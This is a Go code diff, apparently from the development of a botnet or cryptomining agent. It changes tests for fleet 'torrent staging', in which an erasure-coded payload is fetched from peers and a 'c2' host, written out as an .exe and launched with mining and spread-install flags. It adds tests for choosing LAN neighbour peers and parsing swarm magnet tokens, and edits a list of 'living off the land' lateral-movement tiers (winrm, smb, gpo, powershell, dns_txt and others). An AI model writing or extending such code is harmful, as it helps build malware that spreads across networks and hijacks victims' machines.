+		DataShards: p.DataShards, ParityShards: p.ParityShards,
+		PayloadSHA256: hexSHA256(payload), PayloadSize: len(payload),
+		ShardToken: "tok1", Dest: t.TempDir() + `\w.exe`, Launch: "exe",
+		Shards: []ErasureShardRef{
+			{Index: 0, URL: "mock://c2"},
+			{Index: 1, URL: "mock://c2"},
+			{Index: 2, URL: "mock://c2"},
+		},
+	}
+	dht.MergeFleetGossipRecords([]FleetGossipRecord{{
+		Kind: FleetGossipHaveShard, AgentID: "peer-b", Subnet: "10.9.9",
+		Token: "tok1", ShardIndex: 1, FetchURL: "mock://shard1",
+	}})
+	erasureFetchFn = func(url string) ([]byte, error) {
+		switch url {
+		case "mock://shard0":
+			return shards[0], nil
+		case "mock://shard1":
+			return shards[1], nil
+		case "mock://c2":
+			return nil, nil
+		}
+		return nil, nil
+	}
 	prevLaunch := erasureLaunchFn
-	erasureLaunchFn = func(dest, launch, dllExport string, deferMining, spreadInstall bool) (string, error) { return "ok", nil }
+	erasureLaunchFn = func(dest, launch, dllExport string, deferMining, spreadInstall bool) (string, error) {
+		return "ok", nil
+	}
 	defer func() { erasureLaunchFn = prevLaunch }()
 	SetFleetShardDHT(dht)
-	plan := ErasurePlanBody{
-		Enabled: true, Scheme: erasureSchemeReedSolomonV1, DataShards: p.DataShards, ParityShards: p.ParityShards,
-		PayloadSHA256: hexSHA256(payload), PayloadSize: len(payload), ShardToken: "tok1",
-		Dest: t.TempDir() + `\w.exe`, Launch: "exe",
-		Shards: []ErasureShardRef{{Index: 0, URL: "mock://0"}, {Index: 1, URL: "mock://1"}, {Index: 2, URL: "mock://2"}},
-	}
-	if _, err := RunFleetTorrentStaging(config.RuntimeConfig{BuiltinConfig: config.BuiltinConfig{FleetTorrentEnabled: true}}, plan, "", "10.1.2", "us-east-1"); err != nil {
+	msg, err := RunFleetTorrentStaging(config.RuntimeConfig{BuiltinConfig: config.BuiltinConfig{
+		FleetTorrentEnabled: true, WorkerName: "w",
+	}}, plan, "", "10.1.2")
+	if err != nil {
 		t.Fatal(err)
 	}
+	if msg == "" {
+		t.Fatal("empty msg")
+	}
+}
+
+func TestPickLANNeighborPeersCapsAtThree(t *testing.T) {
+	peers := []ShardPeer{
+		{AgentID: "a", Subnet: "10.0.0"},
+		{AgentID: "b", Subnet: "10.0.0"},
+		{AgentID: "c", Subnet: "10.0.0"},
+		{AgentID: "d", Subnet: "10.0.0"},
+	}
+	got := PickLANNeighborPeers(peers, "10.0.0", 3)
+	if len(got) != 3 {
+		t.Fatalf("len=%d", len(got))
+	}
+}
+
+func TestParseSwarmMagnetToken(t *testing.T) {
+	m := "magnet:?xt=urn:sha256:abc&dn=aetherforge-erasure-deadbeef&tr=urn:aetherforge:erasure:deadbeefcafe"
+	if tok := ParseSwarmMagnetToken(m); tok != "deadbeefcafe" {
+		t.Fatalf("token=%q", tok)
+	}
 }
--- a/agent/deploy/lotl_tiers.go
+++ b/agent/deploy/lotl_tiers.go
@@ -19,7 +19,6 @@ var DefaultLotlOnionTiers = []string{
 	"winrm",
 	"linux",
 	"gpo",
-	"ssm_document",
 }

 // NormalizeLotlTiers filters unknown ids and falls back to defaults when empty.
@@ -28,7 +27,7 @@ func NormalizeLotlTiers(raw []string) []string {
 		"vuln_recon": {},
 		"docker": {}, "wsl": {}, "powershell": {}, "dotnet": {},
 		"bits_curl": {}, "do_peer": {}, "wsus_cache_peer": {}, "dns_txt": {}, "webrtc_mesh": {},
-		"smb": {}, "winrm": {}, "linux": {}, "gpo": {}, "ssm_document": {},
+		"smb": {}, "winrm": {}, "linux": {}, "gpo": {},
 	}
 	out := make([]string, 0, len(raw))
 	for _, t := range raw {